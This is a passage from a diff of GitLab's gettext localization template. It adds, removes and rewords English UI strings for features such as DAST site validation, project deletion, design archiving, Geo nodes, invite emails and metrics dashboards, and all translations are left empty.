+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
